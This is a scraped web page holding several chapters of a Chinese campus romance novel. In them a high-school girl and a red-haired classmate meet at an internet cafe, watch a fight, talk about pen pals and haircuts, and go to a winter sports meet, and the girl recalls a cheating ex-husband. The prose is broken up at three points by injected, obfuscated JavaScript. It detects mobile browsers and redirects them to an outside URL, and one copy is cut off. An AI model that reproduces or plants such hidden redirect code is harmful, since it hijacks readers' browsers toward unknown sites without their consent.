;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900231|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做两件事,一是聊天交友,二是打游戏。 大多数人都专心致志地盯着屏幕,只有坐在她对面的一对男女例外:两人的位置紧挨着,男的不时伸手摸一摸女人黄棕色的卷发,女人则一边看MV,一边伸手摸上男人的大腿。 倒不是她故意要偷看,而是两人就在她正前方,只要她的视线离开屏幕,就不可避免地看见。 热恋中的情侣,热情得叫人害怕,心里默念着非礼勿视,秦遇把视线移回屏幕。 上网玩了一个小时,秦遇和姚摇一起去洗手间,回来的时候,居然撞上一位熟人。 穆逢正在走廊里抽烟。 他一向穿得少,这么冷的天,也不过在卫衣外面套了件羽绒马甲,一头红发在清冷的冬日里热烈耀眼,愈加分明。 和他并排站着抽烟说话的,不是别人,正是网吧的老板。 他侧对着她,面朝外吐烟圈。秦遇正在犹豫要不要打招呼,穆逢刚好转过头来。 看见她的一瞬间,那双冷厉精致的眉眼微微凝滞,随后,眸光一闪,穆逢已经转过身来,好整以暇地看着她。 “你也来玩呀?” 她故意装作若无其事的样子,大声和他打招呼,穆逢唇角微弯,没说话,对她点点头。 从前台经过的时候,她觉得口渴,要了两瓶可乐,回到座位上没几分钟,就见穆逢走过来。 他直接越过她身后,走到坐在她旁边的男生身边。 也不知道他跟那男生说了什么,不到一分钟,那男生就点点头,收拾自己的东西离开,穆逢则毫不客气地坐到位子上。 淡淡的烟味飘过来,在户外还好,在网吧这种封闭的环境里,烟味像是浓缩了好几倍。 她皱起眉头,“提醒你,这里是无烟区,不要在这里抽烟。” 穆逢侧过头问她,“你讨厌烟味?” 秦遇点点头,“我倒不是针对你,不过,我一闻到烟味就犯头疼,还会恶心。” 穆逢没说什么,只是轻轻“嗯”了一声。 企鹅头像不停闪烁,滴滴提示音一声接一声,开始还觉得很好玩,后来秦遇嫌烦,索性把状态改成隐身。 戴上耳机,打开千千静听,一边听歌一边浏览网页。 自从穆逢坐到这里,他身边就没消停过。 最开始,是一个穿着粉色毛绒外套,娇小可爱的女孩过来,问他要企鹅号。女孩说话轻声细气的,不过,在被拒绝后破防,大声质问他为什么? 秦遇带着耳机都听见了。 她装作不在意的样子,悄悄拉下耳机,竖起耳朵听两人对话。 “我不加陌生人。” 穆逢的声音没什么起伏,语气很淡,秦遇余光瞟见,他的视线始终盯着屏幕,甚至都没看那女生一眼。 粉外套女生被气走。 没几分钟,又有一个女生走过来,她直接拉了一把空椅子坐到穆逢身边,自我介绍直接热烈。 “帅哥,你好,我是十二中高二的,我叫亢丽娜,交个朋友吧?” 亢丽娜一头离子烫黑发直垂到腰间,浅蓝色针织连衣裙外束了一条宽大的黑腰带,她主动伸出手,细长指甲上的水钻闪着耀眼的光。 秦遇十分好奇,穆逢会不会跟她握手呢? 18. 围观 秦遇左边,姚摇也暂停了跑跑卡丁车,冲她挤了挤眼,伸长脖子往这边看。 亢丽娜的手在空中悬了半分钟,穆逢始终没有动,她笑了笑,收回手,撩了撩黑亮的长发,继续攻势。 “帅哥,能把你的企鹅号给我吗?” 穆逢拒绝得干脆,“不能。” “为什么呀?” 亢丽娜起身站到他另一侧,这样一来,完全遮挡了秦遇和姚摇的视线,只能看见亢丽娜长长的头发垂到了穆逢的桌面上。 穆逢终于抬头看她,“离我远点,我讨厌陌生人靠近我。” 亢丽娜想,这位帅哥近看比远观更有冲击力,她非要认识他不可,可他眼睛中的冷淡和怒意又让她有些害怕。 算了,帅哥哪能没有脾气。 亢丽娜想了想,转身看向秦遇,“妹妹,你有纸和笔吗?” 秦遇没想到她会突然问自己,愣了几秒后,如实回答,“有……” “太好了,借我用一下嘛?” 亢丽娜热情地握住她的手,秦遇讪笑了一下,抽出手,从包里拿出便签本和中性笔给她。 亢丽娜拿起笔,刷刷写下两串号码,撕下一页便签,粘到穆逢桌上。 “帅哥,这是我的□□号和手机号,改主意了就加我,我一直等着你。” 亢丽娜说完,对秦遇道了谢,甩了甩头发离开。 这个女生,倒是不讨厌。 秦遇收起纸和笔,有点想笑,可是接触到穆逢冷冷的视线,她咬住下唇,迅速带上耳机,假装什么都没看见。 那张便签,从穆逢的桌上飘下,晃晃悠悠地落到了垃圾桶里。 这之后,又有两个女生过来找他,其中一个还穿着他们七中的校服,毫无例外,统统被穆逢拒绝。 姚摇在企鹅上疯狂给秦遇留言。 “没想到,穆逢这一款这么受欢迎。” “要我说,谁做他女朋友谁倒霉,这一天天的不知道要吃几缸醋!” “我有点担心了,你说我家俊哥哥是不是在大学里也被人这么追着要企鹅号?” …… 秦遇一边听歌,一边跟她聊天,忽然,一只修长的手伸到她面前,食指屈起,在桌上敲了敲。 她抬头,对上穆逢不悦的目光。 穆逢指指她的耳机,示意她摘下来。 秦遇摘下耳机,终于听到他的声音。 “看信息。” 秦遇掏出小灵通一看,三条未读信息,都是穆逢发来的,最早的一条在十分钟之前,“你的企鹅号。” 接下来的两条,一条是“没收到?企鹅号拿来。”另一条只有一个“?”。 她的小灵通放在口袋里,不知什么时候按到了静音键,她完全没听见。 她不喜欢已读不回,立刻在消息框里输入自己的企鹅号,点击发送。 很快,企鹅上就收到了新的好友申请。 点击鼠标,按下通过,穆逢的头像出现在她的好友栏里。 他的名字很简单,只有一个逢字,巧的是,她的名字也只有一个“遇”字。 穆逢的头像动起来。 “你也太好说话了,别人问你要,你就给?” “什么意思?” “刚才那女生,你认识吗?问你要纸笔,你就给。” “不认识,不过,只是借用下纸笔,也没什么吧。” “总之,我觉得你过于好心,对陌生人要多些警惕。” 这算不算爹味发言? 秦遇腹诽着,回了一个“哦”。 穆逢那边沉默了一会。 再动起来时,他换了话题。 “你玩什么游戏?” “我手残,除了连连看,别的都没玩过。” “一起吧。” 很快,穆逢那边就发起了连线游戏的邀请,就这样,两个人一起玩起了连连看。 这个游戏实在简单,只要在限定时间内消除所有相同的图标就行。 秦遇这才发现,原来自己在这个款简单的游戏里,算得上高手,因为穆逢总是会输给她,大概五次有四次都是她的手下败将。 玩到高阶时,她觉得自己的速度明显变慢,担心要输了,可是结果告诉她,穆逢比她还要慢一点。 哈哈哈哈,真开心。 也不知玩到第几局的时候,忽然,网吧门口传来哐当一声巨响,是门板撞在墙上的声音,秦遇抬起头,只见一个中等个头、粗壮结实的男人气势汹汹地走进来,男人越走越近,秦遇看出,他的年龄大约在二十多岁,不会超过二十五,脖子里挂一条粗金链子,脸色铁青,铜铃一样的眼睛里几乎喷出火来。 眼看男人离她越来越近,却在最近的一条走道拐了个弯,走进她对面那排。 下一秒,男人冲到坐在她对面的那对情侣面前,对着其中的男人狠狠踹了一脚。 一瞬间,男人的呼痛、咒骂,女人的尖叫声、座椅倒地的声音,键盘摔落的声音,全都混杂在一起。 被打的男的反应过来,开始反击,两人一个没有章法,全凭蛮力,一个瘦长灵活,长于奇袭,竟然打得不分伯仲。 “操你妈,敢勾老子的女人,找死啊你个狗X的畜生!” “是你自己没本事,对她不好,留不住小茜,” 两人一边打,一边咒骂对方,秦遇渐渐听明白,瘦的那一个撬了胖的墙角。 被争夺的对象小茜,一边哭泣,一边试图拉开两人,正牌男友占据道德高地,直接扇了她一巴掌,骂道“贱娘们,等我打死他再来收拾你,妈的,天天聊企鹅,原来是在聊骚……” “你敢打小茜!” 瘦的不愿意了,扑向胖的,鹰爪一样的手指死死掐住他的脖子,两人滚作一团,倒在地上。 叫小茜的女人不敢再动,只是捂着脸坐在地上哭,哭花的眼妆流成一条条黑线一样的小河。 网吧老板过来劝了几句,可是两人打得不可开交,且那胖的对老板丢下一句,“你别插手,坏的东西我赔。” 老板也就不再强行干涉,只是招呼坐在周围的客人,“来来来,往里面走,里面还有空位。” “真是倒霉啊。” 老板这样说着,脸上却没有一丝愁容,相反,他眼里闪着兴奋的光彩,一边看着两人厮打,一边从兜里掏出瓜子来嗑。 秦遇和姚摇也站在座位后面,看得津津有味。 围观热闹大概是人类的天性,尤其是这种为情而战的桥段,向来最能挑动看客神经。 秦遇想起看BJ单身日记时,NPC一句“决斗了”,引得屋里的人倾巢而出,去看男一男二雪地互殴。 眼前这一幕,算不算低配版? 老板嗑瓜子的动作,让她觉得嘴巴有点寂寞,她摸了摸口袋,掏出两支棒棒糖,递给姚摇一支。 两人几乎同时剥下糖纸,同时把棒棒糖塞进嘴里。 穆逢不知道什么时候站到了她身边,看见他手往口袋里伸,秦遇再次提醒,“不要抽烟。” 穆逢的动作停住,“那你给我一根棒棒糖。” 秦遇从口袋里拿出最后一枚棒棒糖,撕开包装纸,往他的方向一递,整个过程中,眼睛始终一眨不眨地盯着面前的修罗场。 所以,她并没看到,穆逢低下头,就着她的手,含住了那根棒棒糖。 她只觉得好像有什么软软的东 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他手长脚长,这样一摔,她像是整个被他圈在怀里。 秦遇别开眼,按着他的胸口,七手八脚地爬起来。 姚摇过来扶起她,“没事吧?” 她摇摇头,脸烧起来。 “你没摔疼吧?” 穆逢摇摇头,一跃而起,两步跨下楼梯。 “糟了,差点忘了,我六点还有补习课,我得赶紧走了,周一见。” 姚摇冲两人摆摆手,骑上自行车,火急火燎地往外走。 姚摇还没骑远,一辆白色保时捷缓缓驶过来,在他们面前停下。 车窗摇下来,露出一张俊秀的三十多岁男人的脸,一副洁净的金丝边眼镜,给他增添了儒雅斯文的气质。 “小逢,上车。” 男人看向穆逢,接着,对他身边的秦遇点了点头,秦遇立刻微笑回礼。 “那,我就先走了,再见。” 秦遇看向穆逢,向他道别。 可是穆逢像没听见一样,直接打开车门,上了车。 他没有摇下车窗,也没跟她说再见。 白色车身缓缓驶离,最终消失在街角。 车里的人,莫非是他爸爸? 秦遇摇摇头,推翻了自己的想法,哪有这么年轻的爸爸? 车子在小城窄窄的街道上平缓行驶。 男人一边开车,一边跟穆逢说话。 “怎么样?小逢,转到妈妈出生的城市上学,心情有没有好一点?” 穆逢盯着透亮的玻璃窗,回答得漫不经心,“就那样吧。” “你这个年纪,还是要好好学习,记得你从前……” 穆逢无所谓地耸耸肩,打断他,“舅舅,你什么时候,也变得这么啰嗦了,反正要继承老头子的家业,学不学的,有什么差别?” 街景的倒影从车窗玻璃上闪过,穆逢却不在意,他只盯着窗上倒映出来的,舅舅洛照泽的双腿。 左腿一切正常,右腿的姿势却僵硬而怪异,像一块死肉,毫无生命迹象。 “别管我了,舅舅,腿的事进展如何?医生怎么说?” 洛照泽笑了,把金丝边眼镜往上推了推,“还是你知道疼舅舅,汤米已经帮我联系了美国和瑞士的医生,下个月会再进行一次会诊。” 汤米是舅舅资助的混血儿,在美国读医学,去年已经顺利毕业,进了大医院实习。 洛照泽拍了拍他的肩膀,“放心,就算这辈子都站不起来,舅舅也一定会站在你这边,帮你拿到属于你的一切。” 19. 短发 几天后的一个早晨,姚摇蹦蹦跳跳地来到教室,情绪十分欢快。 一下早读,她就迫不及待地从包里掏出两封信,“快看,小遇,我的笔友给我来信了,你的也来了。” 来了,来了,秦遇记得这件事,姚摇和企鹅好友成了笔友,互相通信,对方的同桌也想交笔友,姚摇就把秦遇介绍给了他。 双方通过几封信后就不了了之,秦遇连那位笔友的名字都不记得了。 不过眼下,她还是要装出微微惊讶的样子,问姚摇“怎么还有我的?” “是这样啦,我的笔友说他同桌也想交笔友,我一想,你也没有笔友,这不是正好吗?他的同桌,我的同桌,就提出让他先给你写封信,你要是有兴趣呢,就回一封,没兴趣的话,我就在回信里解释一下。” 姚摇把其中一封信塞到她手里,她低头,见落款处写着“S市工业园区长亭中学高一(三)班,孙晓生(寄)”。 奇怪,信封摸起来有点硬,好像里面除了信纸,还有别的,薄薄的卡片一样的东西。 她好奇地撕开封口,倒出里面的东西,一张折得整整齐齐的信纸,一张照片。 “呀,他还给我寄照片了!” 一旁的姚摇兴奋地叫起来,引得周围几个同学都围上来,嚷着“让我看看,让我看看。” 是一个浓眉大眼的男孩子,皮肤比较黑,穿浅黄色休闲运动装,坐在公园的条形长凳上,一边笑一边做鬼脸。 一看性格就很好。 “呀,小遇,你也有,快让我看看长什么样!” “我还没看呢,一起看吧。” 秦遇把照片放在两人中间,和姚摇一起看,周围几个女生都围过来,就连前桌的朱志也专门绕过来看。 “哎呀,是位帅哥呢!” “是啊,皮肤好白。” “手里拿篮球,应该很爱运动,就是表情有点冷。” 前桌李莉忽然一拍手,“对了,你们觉不觉得,他看起来有点眼熟,有点像台湾那个偶像剧男星,叫什么来着……” 经她一说,连秦遇也觉得有点眼熟,但就是想不起来是谁。 “我知道,像强尼·郑。” 没想到抢答成功的,是朱志。 众女生齐齐看向他,朱志不好意思地挠挠头,“我妈跟我姐天天看偶像剧,我有时候,也跟着看两眼。” 偶像剧是女性专属,男生看偶像剧,会被认为是缺少男子气概的表现,朱志会觉得不好意思,也不奇怪。 快要上课了,大家各自散去,姚摇撇撇嘴,“我的笔友,可没你的长得帅。” 秦遇好笑地说,“要不,咱俩换换?” 姚摇立刻摇头,“我才不要,我跟我的笔友已经很熟悉了,你这个笔友,一看就没意思。” 上课铃声响起来,秦遇偷偷把信展开,夹在书里看。 纸张轻薄微透,铺满传统的红色横线,用蓝色墨水写成的字迹,清晰有力。 又是一个和前世不同的小细节。 上一次,笔友还是这个笔友,却没有寄来照片。 真有趣。 或许,她应该准备一本手帐,专门记下前后两世的不同之处,一定很有意思。 “啪。” 一截短短的粉笔丢到了她面前,她吓了一跳,抬头,宋有才正怒视着她,显然,他看出她走神了。 秦遇立刻挺直了背,整肃表情,翻动书页,盖住了那封信。 这天大课间,秦遇笔友的照片,成了班里女生的共同兴趣,不时有人过来说,“听说你的笔友长得像强尼·郑,借我看看嘛?” 秦遇来者不拒,慷慨拿出照片,供同学欣赏、传阅。有人说真有点像,能有两分像明星,已经是不得了的帅哥,也有人说,压根不像,你们都太夸张了。 还有连强尼·郑是谁都不知道的,看见热闹就来凑,也要拿在手里端详一番。 一次传递中,某个人没接住,照片飘飘荡荡地落到了地上。 秦遇正想弯腰去捡,老红翼的方形鞋头出现在脚边,一只修长有力的手,先她一步,捡起了那张照片。 秦遇直起身子,穆逢单手插兜站在过道里,那张照片就夹在他两指之间。 “这是你的?” 他侧头看向秦遇。 秦遇站起身,去拿他手里的照片,“没错,是我的,给我吧。” 他没松手,反而问她,“他是谁?” 有个女生热情地回答,“是秦遇的笔友。” 另一个人则说,“现在是笔友,搞不好之后就是男朋友了。” 说着吃吃笑起来,引起周围一阵附和。 情窦初开的中学生,对恋爱这件事,尤为敏感。 秦遇没说什么,穆逢的却对他们投去冷冷的目光,在那目光的注视下,笑声渐渐变小,直至彻底消失。 穆逢看向她,“秦遇,你出来,我有话跟你说。” 秦遇跟着他走到走廊尽头的空地上,这里原本有几个人,不过穆逢一过来,他们就各自散开了。 澄澈的阳光透过淡蓝色的玻璃窗洒下来,把地面分割成一块一块的方格。 穆逢手里,还捏着那张照片。 “你要给这个人回信吗?” “那当然,人家都写信来了,礼尚往来,应该回信。” 秦遇回答地十分干脆。 穆逢的眼睛不悦地眯了眯,“这未必是本人的照片。” 秦遇有些惊讶,抬头看向他,不明白他接下来要说什么。 穆逢轻咳一声,“我的意思是,他可能拿了别人的照片来骗你。” “所以,不要轻易给他你的照片。” 他叫她出来,是为了提醒这个? 愉悦的情绪在胸口充盈、翻滚,秦遇的嘴角轻轻扬起,“我本来就没打算给照片。” 她看着他澄澈的眼睛,清楚地、一字一句地说“我也不和陌生人交朋友的。” 穆逢一怔,忽然明白过来,她是在学他在网吧里说的话。 两人彼此对视数秒后,不约而同地扬起嘴角。 下午最后一节体育课,体育老师有事请假,班里同学自由活动,秦遇和几个相熟的女生聚在一起闲聊。 不知怎么,今天讨论的焦点变成了男生的发型。 大家围坐成一圈,挨个发表各自的看法。 一个短发女生率先发言,“我喜欢卷发的男生,不过现实中很少见到,我觉得那种卷发一定很蓬松、柔软,像面包一样。” 另一个女生笑起来,“道明寺的凤梨头,算不算卷发呢?” 短发女生思考了数秒,“勉强算是吧,不过道明寺太凶了,我不喜欢。” 说着,大家笑成一团。 接着,又有个女生说,她喜欢留长发的男生,觉得很有艺术家气息,神秘又冷艳,最好是像《吸血鬼猎人D》里主角D那样的。 姚摇立刻竖起大拇指,“有品味,D可是极品,肩宽腿长,一头长发帅得发疯,配黑色长风衣,黑手套,简直了……” 大家七嘴八舌地讨论着,越聊越热烈,轮到秦遇时,她想了想,说“其实,我对男生发型的审美,很传统,也很平常。” “我觉得,短发的男生最清爽,最有吸引力。” 说话的时候,她并不知道,穆逢和大黑正抱着足球从她身后走过。 走过她身边的时候,穆逢的脚步不自觉地慢下来,因此,他清清楚楚地听到了她的“高谈阔论”,“短发的男生最清爽,最有吸引力”。 有人问,“谁留短发好看啊?” 秦遇认真思考了一下,“灌篮高手里的三井寿!留长发时标准的不良少年,街头混混,剪了短发多清爽。对了,陈冠希剪短发也好看的……” 穆逢的脚步顿了顿,然后,把手里的足球一抛,抬脚踢中,足球在澄澈青空中划出一道线,飞向操场另一端。 天气越来越冷,秦遇终于向寒冬低头,恢复了骑自行车上学,把跑步这件事改到了周末。 早晨把车子停好,一抬眼,就看见车棚外立着一道熟悉的身影。 是穆逢。 他穿一件卡其色羊皮短外套,搭配同色短靴,蓝色牛仔裤衬得双腿挺拔修长,不过,最叫人吃惊的是他的头饰,他居然戴了一顶蓝底白色图案的海盗头巾。 一头红发被遮得严严实实,一丝也没露出来。 不得不说,收起了头发,他的眉目轮廓越加分明,身上的气质也更硬朗了。 他双手插兜,立在车棚的铁门外,显然是在等她。 秦遇想,这也没什么不对,经过了那么多事,他们姑且算得上朋友了。 朋友等朋友,一起去教室,合情合理。 秦遇指指他的头巾,“为什么戴这个?” 穆逢走在她身边,“我冷。” 进教室的时候,秦遇先从前门进去,穆逢独自走到后门进去。尽管如此,他的头巾造型,依然引起了全班侧目。 就连姚摇都从漫画中抬起头来,伸着脖子往后看,对秦遇说,“他可真敢戴,你别说,还是很帅的,不一样的气质。不过,我觉得老宋会看不惯。” 果然,语文课上,老宋走进教室,一眼看见穆逢的海盗头巾,就皱起眉。 秦遇想,这眉间的沟壑深得,不说夹死苍蝇,至少也能夹死蚊子吧。 “啪啪啪”,黑板擦的背板在讲台上敲出清脆响声,宋有才审视全班,示意所有人安静下来,听他讲话。 “我说过了,学生就该有学生的样子,不准穿奇装异服。” 宋有才说着,瞪向穆逢,“穆逢,站起来,我说得就是你。” “你瞧瞧你这头巾,啊?咱们学校有这么戴得吗? “天太冷,戴头巾也不行吗?” 穆逢不软不硬地回了一句。 宋有才立刻回道,“戴帽子你就戴那种普普通通的帽子,别整这些有的没的,你看看,班里的同学都在议论你,你搅扰得大家不能专心学习。” 穆逢冷哼一声,“我戴个头巾,就不能专心学习了,那这个人本来也没在学。” “你,你,你给我把帽子拿下来,站到走廊去。” 穆逢把凳子一脚踢开,双手插兜,大摇大摆地从教室后门出去。 他才不会乖乖在走廊里罚站,而是一直走出教学楼,走到外面去了。 到底没摘下头巾。 秦遇把书立起来,挡在面前,偷偷看向窗外,玻璃窗中穆逢的身影越来越小,最后只剩一个小蓝点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918582|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直到下午上体育课,穆逢才回来。 他是来和大黑他们一起踢球的,一行人脱掉外套,套上球服,穆逢把头巾也拿了下来,这一次,他再次吸引了所有人的目光。 包括秦遇。 他那一头红发消失不见,张扬的狼尾造型没了,头发剪得很短很短。 整个人显得清爽又锐利。 秦遇不敢相信地盯着他的头发,走过她身边时,穆逢抬眼看向她,对她挑了挑眉。 那意思像是在说,“看见我的头发了吗?” 有种得意又期待的感觉。 体育课上,她的视线总是不由自主地飘到穆逢身上,确切地说,是他的头上。 难怪他说天冷,要戴头巾。 不过,为什么会忽然剪头发呢? 看他的神情,一切如常,也不像发生了什么了不得的事。 姚摇用胳膊肘轻捅她,“哎,人家都说失恋才剪发,不过我看,穆逢也不像失恋的样子。” “管他呢,反正跟我们没关系。” 姚摇笑眯眯地看着她,“你说,他这样,会不会是为了迎合某人的喜好呢?” 秦遇一滞,随即板起脸,“你想多了。” 姚摇意味深长地“哦”了一声。 下晚自习的时候,秦遇远远就看见穆逢的身影,他站在篮球架旁边,路灯把他的影子拉长,投在球场平滑的地面上。 从教学楼到车棚,要经过这个篮球场,她出来得晚,同学都走得差不多了,喧嚣的校园归于沉静。 他就站在那里,踩着自己的影子,静静地看她朝自己走来。 秦遇按停随身听,拔出耳机塞进兜里,一抬眼,他的面孔就在眼前。 她指指他的头,“你剪头发了。” 穆逢没什么表情,简单地“嗯”了一声,然后,他问她,“好看吗?” 秦遇没想到他会问得这么直接,一怔之后,迅速真诚地说“好看,很帅气,很清爽。” 穆逢轻哼了一声,算是表示满意,接着又问。 “比你的笔友呢?” 他的语气干巴巴的,脸上的表情也有些紧绷。 秦遇有点想笑,她忽然觉得,他像小孩一样任性,又有点可爱。 她起了逗逗他的心思。 所以,她故意皱起眉头,假装认真思索几秒后,说“差远了。” 穆逢的脸色当下就有些难看。 秦遇憋着笑,轻声说,“你在天,他在地。” 穆逢的表情有一瞬间的失控,他的嘴角扯了一下,像要发怒,又像是想笑,最后,他干脆扭过头去,数秒后才重新看向她。 他指着自己的头发,问她,“你要不要摸摸看?” 秦遇的双眼因惊讶而大睁。 穆逢又问了一边,这次,声音更清晰,“你要不要摸摸我的头发?” 秦遇觉得,这个问题有点奇怪,这个邀请有些鲁莽。 这是一个横冲直撞的动作,自顾自冲破了她的安全线,这条线外,泾渭分明,一旦进入这条线,则是混沌暧昧包裹着重重不安。 她应该拒绝,应该退回线内,把全部阵地后撤三百里。 可她没有。 在犹豫了一瞬后,她伸出手。 穆逢已经弯下腰,主动把头凑到她面前。 她的手指轻轻张开,首先,是指尖触到了发尖,硬的、细微的刺感,却并不疼。 接着,手掌完全张开,掌心贴上了头发。 一阵酥麻的电流从她的手掌,流向她的胳膊,又从她的腰部,流向双腿。 她猛得收回手。 “该回家了。” 穆逢直起身,戴好海盗头巾,说了一声“好。” 他们一起走出校门,秦遇推着车子,穆逢双手插兜走在她身边。 “今天没骑摩托?” 穆逢点点头。 “先说好,我今天不载你,载男生太累了。” 穆逢并不看她,“你经常载男生?” “还不是徐伟民,从小到大,蹭我车子的次数都数不清。” 穆逢想起来了,是那个瘦得像竹竿一样的男生,他见过他坐在她后座上的样子,两人有说有笑,亲密得叫人烦躁。 秦遇却想起了他早晨被宋有才呵斥的事。 “穆逢,你不想学习吗?” 穆逢耸耸肩,回得干脆,“不想。” “干嘛总是跟老宋顶嘴?” “我讨厌别人命令我。” 晓得了,这是个顺毛捋的。 秦遇斟酌着词语,“就算讨厌老宋,就算不在意成绩,知识总还是重要的,不如你试试认真听课,反正总是趴着睡觉,也很无聊吧。” 穆逢停下脚步,转过身看向她,他那逼视着她的深褐色瞳仁,漂亮得像两颗琉璃珠子。 “你在管我?” 他脸上没什么表情,语气却少有的低沉。 秦遇支吾着,“我不是要管你的意思,我的意思是,你不妨试试……” 穆逢露出一个无聊的表情,转过头去看着前面,“不是要管我,那我就当你求我了。” “如果是求我,我会认真考虑一下。” “少臭美了,我才没有求你……” 20. 前夫 “加油,加油,二班加油。” “五班冲啊,不要落后。” 让寒冬沸腾,不用别的,只需要一场运动会。 11月的末尾,七中照例举办了冬季运动会,参赛选手们哈着白气,光裸的腿在空中灵活弯折,做着热身运动。 随着一声哨响,4*400米接力赛男子组开跑,观众台上的秦遇把过期的杂志卷成喇叭,放到嘴边大喊加油。旁边的同学把喝完的饮料瓶在铁栏杆上砸得“砰砰”作响,班长蔡志高像乐队总指挥一样,站在最前方,指引着同学们“再大声点,不能输了气势,为我们班加油、打气、呐喊……” 没人听从他的指示,大家按照各自的节奏,释放出发自内心的激动。 男子组跑完,就是女子组,就在这时,出了一个不大不小的意外。 女子组的一位参赛者,在热身运动中崴了脚,不能跑了,必须尽快找到一位替补,否则就要放弃这项比赛。 “快,大家踊跃报名,能跑得都来,来,刘青青报名,好,我记下……” 蔡志高一排排来问有参赛意愿的女同学,走到秦遇所在的第三排时,他迅速别过眼,直接绕过。 自从“尾随”事件过后,蔡志高在路上看见她,要么远远地掉头走开,要么就低头盯着路面,假装看不见她。 总之,再没和她说过一句话。 秦遇对此并不在意,她和蔡志高本来也不熟。 坐在旁边的朱志转头问她,“秦遇,你怎么不参加跑步,你不是天天跑着来学校吗?” 秦遇笑着摇头,“我知道自己几斤几两重,我那是乐跑,不追求速度,肯定比不过专业的。” 有三四个女生报名替补,把蔡志高围坐一团,签名、筛选,女生的朋友也围过去,她身边的位置忽然空了一片。 不知道什么时候,穆逢坐到了她身边。 “带糖了吗?” “什么?哦,带了。”秦遇一边在口袋里翻找,一边问他“你最近怎么这么爱吃糖?问我要了好几次了。” 好几次课间和放学后,她遇到穆逢,穆逢都伸手向她要糖吃。 “其实,我……” 尖锐的哨声响起,盖过了穆逢的话,接着,观众席上爆发出加油打气声,女子组4*400接力赛开始了。 为了让她听清自己的话,穆逢只能凑近她。 “我说,我最近在戒烟,嘴里不吃点东西就难受。” 他忽然逼近的俊朗面孔,让她有些意外,不过这份意外远比不上他的话。 戒烟?戒烟! 一瞬间,周围的呐喊声、吵嚷声全都听不见了,全部罩上了一层玻璃,变得模糊而遥远。 耳边只回响着这两个字,“戒烟”。 秦遇盯着他,从他澄澈的双眼中读出了认真。 她的表情从诧异变为惊喜。 “戒烟是好事,青少年本来就不该抽烟,我支持你。” 穆逢的嘴角愉悦地扬起。 明明比他小一岁,却要学着大人的话,说什么青少年。 简直像是老学究。 这种话要是换个人说,他只会觉得厌烦,可是从她的嘴里说出来,他却觉得十分有趣。 有趣之下,又觉得她很可爱。 秦遇从口袋里掏出仅剩的一支棒棒糖,一捏、一转,严丝合缝的包装纸松开,她利落地撕掉包装纸,把棒棒糖递到穆逢手里。 穆逢接过糖,叼进嘴里。 她有一个习惯,给别人棒棒糖之前,会下意识先撕开包装纸。 大概是因为秦征小时候笨手笨脚,总是剥不开棒棒糖的糖纸,作为姐姐的她,才养成了这个习惯。 “秦遇。” 他忽然叫她的名字,她转过头看向他,“怎么了?” “我最近都没在逃课了,你知道吧?” 秦遇一愣,认真回想了一下,喃喃地说“还真是。” 最近都没听到宋有志训斥他,去后排收作业时,他也不像以前一样,总是睡觉了。 “你求我的事,我已经在做了,所以,你得帮我。” “我什么时候求你……” 话一出口,她想起来,上次劝他认真学习时,他说“如果是你求我,我会认真考虑。” 她把这句话当成了一句轻飘飘的玩笑,没想到穆逢是来真的。 穆逢那英挺的眉毛高高挑起,像是在责备她的健忘。 她皱起眉头,认真思索着,“可是,这事,要我怎么帮你?” 有那么一瞬间,穆逢觉得自己的手就要不受他的控制,要擅自伸过去,按一按她颊边浮现的酒窝。 她每次一认真思考,嘴唇就会习惯性微抿,酒窝随之浮现。 他费了不少力气克制自己,把冲动的右手收紧。 然后,做出一副若无其事的样子,视线移向正前方,淡淡开口,“很简单,你承包我所有的糖就好了。” “没问题,这个容易。” 秦遇爽利得答应下来。 女子组接力赛结束后,有二十分钟的休息时间,操场门口的小吃摊被挤得水泄不通,秦遇果断舍近求远,穿过马路,到校门口的文具店买水。 真可惜,姚摇去临市参加一项漫画大赛了,否则,就能和她一起来了。 这家叫红豆的文具店新进了一些明星卡片,摆在玻璃柜台上,三个大盒子一字排开,塞得满满当当。 秦遇津津有味地翻看着,有周杰伦、谢霆锋、王菲、孙燕姿、元彬…… 最后,她挑了一张元彬的、一张梁家辉的,又给姚摇买了一张谢霆锋的,临出门的时候,看见玻璃罐子里的棒棒糖,又买了几支,揣到兜里。 走下最后一级台阶时,不小心和迎面走来的人撞了个满怀,手里的卡片撒了一地,冰红茶也咕噜噜滚到地上。 秦遇说了声“对不起”,弯腰低头去捡卡,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他提笔在离婚协议书上签字时,还要对她说,“一切都是我的错,我最爱的,始终是你。” 她只谈过这一次恋爱,只结过这一次婚,只和这样一个男人上过床。 她全身心投入爱他,结果发现,在她小产回娘家休养的日子里,他一面电话对她嘘寒问暖,一面和别的女人约吃约睡。 她一直认为,那次小产是她的错,是她不够小心,熬夜、吃冰、加班,孩子才会掉,在手术后的很长时间里,她始终谴责自己,内疚不安,无法入睡。 她想象过很多次孩子的性别和长相,决心要做一个好妈妈,和孩子做平等沟通的朋友…… 谁能想到,在她为那夭折的孩子自责流泪、辗转难眠时,吕程正忙着和别人调情。 吕程对她,实在残忍。 